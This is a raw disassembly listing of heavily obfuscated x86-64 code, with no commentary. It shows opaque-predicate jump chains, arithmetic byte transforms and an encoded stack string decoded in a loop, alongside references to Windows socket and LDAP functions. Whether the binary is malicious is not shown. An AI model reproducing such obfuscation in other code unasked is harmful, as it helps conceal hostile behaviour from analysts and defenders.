jmp 0x14014c6a9
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014cfdb
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014cfb9
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014cf8a
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014cf76
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14014cc1e
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14014cbfd
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14014cbd7
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14014cbb4
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14014cba0
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014cb7e
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14014cb5b
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14014cb37
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14014cb14
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014caee
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14014c6b6
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14014d178
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14014d152
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14014c8b3
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14014c88d
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x14014c86b
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14014caca
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x14014ca3d
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14014ca1f
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14014c9f1
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14014c6b6
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14014c9dd
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14014c9bb
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14014c999
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14014c973
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14014c950
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14014c92f
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14014c90d
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14014c8ea
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14014c8d6
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14014c6b6
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 1]
jmp 0x14014c6b6
movabs rcx, 0x7954c208e2fd862a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x26
jmp 0x14014c6a9
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014c643
movabs rdx, 0x108b6992c2ac8f32
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x14014c5d2
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x14014d008
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x14014d03e
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14014d064
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14014cf19
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x14014cf48
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014cfa7
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x14014d08d
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14014d0e7
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x14014cafd
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov byte [rbp + r9 + 0x780], bl
jmp 0x14014d14a
movabs rdx, 0x9682c6ba1376f89e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
jmp 0x14014ca93
movabs rdx, 0xe21e1a7f034e7d22
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, r15
jae 0x14014cef8
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x14014ce38
movabs rdx, 0xe41f9575967bc6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 0x1000
jb 0x14014ca12
movabs rdx, 0xf00e4fc4381099b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14014d01a
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014cc43
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014d13b
movabs rdx, 0xb061b64de9cde808
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x14014d0e7
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014d08b
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14014cfa7
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14014cf48
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x14014c93e
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14014d064
movabs rdx, 0x7605aceb88db0320
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014d03e
movabs rdx, 0xc1a100b078b287a4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14014d018
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x14014cc86
movabs rdx, 0xda32561d88143dbe
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x32
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 6
je 0x14014cf4d
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x14014cd6b
movabs rdx, 0xfdfe85096cd2b646
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014ca5e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014ccb2
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14014d13b
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014ccdf
movabs rdx, 0x350b794e73a31824
add rdx, r9
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014d08d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014cd0e
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014cf48
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014cd38
movabs rdx, 0x52397dffa41c8a98
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x14014cf1c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014cc45
movabs rdx, 0xbb02d675c46d8190
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014d03e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014cd95
movabs rdx, 0xb26331447cfb31c2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
jmp 0x14014d018
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014cdbf
movabs rdx, 0xcf9135f5ad74a436
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x14014cf1c
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014cddc
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x14014ccf7
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014ce08
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x42
jmp 0x14014cfa7
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014ca5e
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6e
jmp 0x14014d13b
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014ce64
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14014d13b
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014ce8e
movabs rdx, 0x14d9a26c6f53950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14014d08b
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014ceab
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x14014ccf7
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014cec8
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14014d052
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014ca95
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x14014d03e
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x780]
sub bl, al
sub bl, 0x50
add bl, r8b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x780], cl
add rdi, r10
jmp 0x14014cfa7
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x780]
jmp 0x14014cb53
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x14014cb46
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14014d14a
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
jmp 0x14014d064
movabs rdx, 0x9a85bca739d18c12
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7e
jmp 0x14014d018
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x780], cl
add r10, rsi
jmp 0x14014d064
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
sub r9, rsi
jmp 0x14014d14a
mov r8, r11
movabs rdx, 0xf7605aceb88db032
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov bl, r11b
sub bl, al
sub bl, 0x5e
add bl, dl
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x780], al
add r10, rsi
add rax, r10
sub r9, rax
jmp 0x14014d0e7
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x780], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14014d13b
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x780]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14014c5c0
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014c5bd
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014c5ad
lea rdx, [rbp + 0x1598328]
jmp 0x14014d1b7
lea rdx, [rbp + 0x16dc0e6]
jmp 0x14014d1b7
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x4e0]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1fd0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14014d1ec
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x1fd0]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1fd0]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1fd0]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0xd90], 0xe3
mov byte [rbp + 0xd91], 0xad
mov byte [rbp + 0xd92], 0xec
mov byte [rbp + 0xd93], 0xab
mov byte [rbp + 0xd94], recv
mov byte [rbp + 0xd95], 0xa9
mov byte [rbp + 0xd96], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xd97], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xd98], 0x3d
mov byte [rbp + 0xd99], __WSAFDIsSet
mov byte [rbp + 0xd9a], r13b
mov byte [rbp + 0xd9b], __WSAFDIsSet
mov byte [rbp + 0xd9c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xd9d], __WSAFDIsSet
mov byte [rbp + reloc.WS2_32.dll_listen9e], 0xd
mov byte [rbp + 0xd9f], 0x9f
mov byte [rbp + 0xda0], 7
mov byte [rbp + 0xda1], 0x9d
mov byte [rbp + 0xda2], 5
mov byte [rbp + 0xda3], 0x9b
mov byte [rbp + 0xda4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xda5], 0x99
mov byte [rbp + 0xda6], Ordinal_46
mov byte [rbp + 0xda7], 0x87
mov r12d, reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xda8], r12b
mov byte [rbp + 0xda9], 0x85
mov byte [rbp + 0xdaa], Ordinal_217
mov byte [rbp + 0xdab], 0x83
mov byte [rbp + 0xdac], 0x3d
mov byte [rbp + 0xdad], 0x81
mov byte [rbp + 0xdae], Ordinal_50
mov byte [rbp + 0xdaf], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xdb0], Ordinal_46
mov byte [rbp + 0xdb1], Ordinal_143
mov byte [rbp + 0xdb2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xdb3], Ordinal_143
mov byte [rbp + 0xdb4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xdb5], Ordinal_143
mov byte [rbp + 0xdb6], 0x64
mov byte [rbp + 0xdb7], 0xf7
mov byte [rbp + 0xdb8], 0x5c
mov byte [rbp + 0xdb9], 0xf5
mov byte [rbp + 0xdba], 0x62
mov byte [rbp + 0xdbb], 0xf3
mov byte [rbp + 0xdbc], 0xaa
mov byte [rbp + 0xdbd], 0xf1
mov byte [rbp + 0xdbe], 0xa2
mov byte [rbp + 0xdbf], 0xff
mov byte [rbp + 0xdc0], 0xae
mov byte [rbp + 0xdc1], 0xfd
mov byte [rbp + 0xdc2], 0x57
mov byte [rbp + 0xdc3], 0xfb
mov byte [rbp + 0xdc4], 0x60
mov byte [rbp + 0xdc5], 0xf9
mov byte [rbp + 0xdc6], Ordinal_79
mov byte [rbp + 0xdc7], 0xe7
mov byte [rbp + 0xdc8], 0xb6
mov byte [rbp + 0xdc9], 0xe5
mov byte [rbp + 0xdca], 0x77
mov byte [rbp + 0xdcb], 0xe3
mov byte [rbp + 0xdcc], 0x7d
mov byte [rbp + 0xdcd], 0xe1
mov byte [rbp + 0xdce], 0x47
mov byte [rbp + 0xdcf], 0xef
mov byte [rbp + 0xdd0], 0xec
mov byte [rbp + 0xdd1], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xdd2], xmm0
mov qword [rbp + 0xde2], rax
mov byte [rbp + 0xdea], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x14014dfda
movzx r8d, byte [rbp + r9 + 0xd90]
mov r11, r8
cmp rdi, r9
ja 0x14014dfd1
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014d473
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
add bl, 0x4a
jmp 0x14014d4ad
je 0x14014df4a
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014debd
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014de87
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014de3d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014de14
cmp r10, r9
ja 0x14014dfc8
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x14014d4d3
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x14014d6ba
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014ddce
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014ddae
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014dd8b
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14014dd68
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14014da1b
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14014d9fa
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14014d9d4
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x14014d9b1
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14014d990
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014d97c
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014d959
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014d945
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014d924
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14014d8fe
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14014d514
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14014dfa5
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x14014df7f
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14014d6f4
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14014d6d1
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x14014d6ab
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14014d8dd
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14014d883
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14014d834
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14014d811
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x14014d7f0
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14014d7dc
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x14014d7b9
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14014d7a5
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14014d784
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14014d75e
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14014d73b
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14014d71a
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14014d514
lea rdi, [r10 + 0x1000]
lea r10, [rdi + 0x400]
jmp 0x14014d514
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014d507
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x14014d4ad
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014d43c
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x14014ddea
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x14014de32
movabs rdx, 0x47b3eaf1fe0c9ca8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014de35
movabs rdx, 0x5350f17229c7c674
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x2c
jmp 0x14014de59
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14014de96
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x54
jmp 0x14014deab
movabs rdx, 0x762804f2acf943d8
mov ecx, recv
jmp 0x14014dac5
movabs rdx, 0x81c50b72d8b46da4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14014dd84
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x14014df68
movabs rdx, 0xb607a8b39d7ea9ba
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
sub bl, r12b
cmp r10, 0x41
jb 0x14014dd03
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x14014ddec
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 3
jae 0x14014dd10
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x14014dc48
movabs rcx, 0x23d9f578ff064e54
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
jmp 0x14014d852
movabs rdx, 0xcd41b5b3f4f4fd52
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
jmp 0x14014da43
movabs rdx, 0x245b66753cf0b6cc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014df68
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x14014dd84
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x14014dac5
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x14014deab
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14014de96
movabs rdx, 0x5e6c86f6179887c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x14014de59
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14014de35
movabs rdx, 0x75a693f66f0edb60
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014de32
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x14014ddea
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x14014da82
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x5a
je 0x14014dd3e
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x14014db65
movabs rcx, 0x9dcab9baca338532
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x14014d8a4
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014dab1
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014df68
cmp rdi, rcx
jne 0x14014dadc
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014dee1
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014db06
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
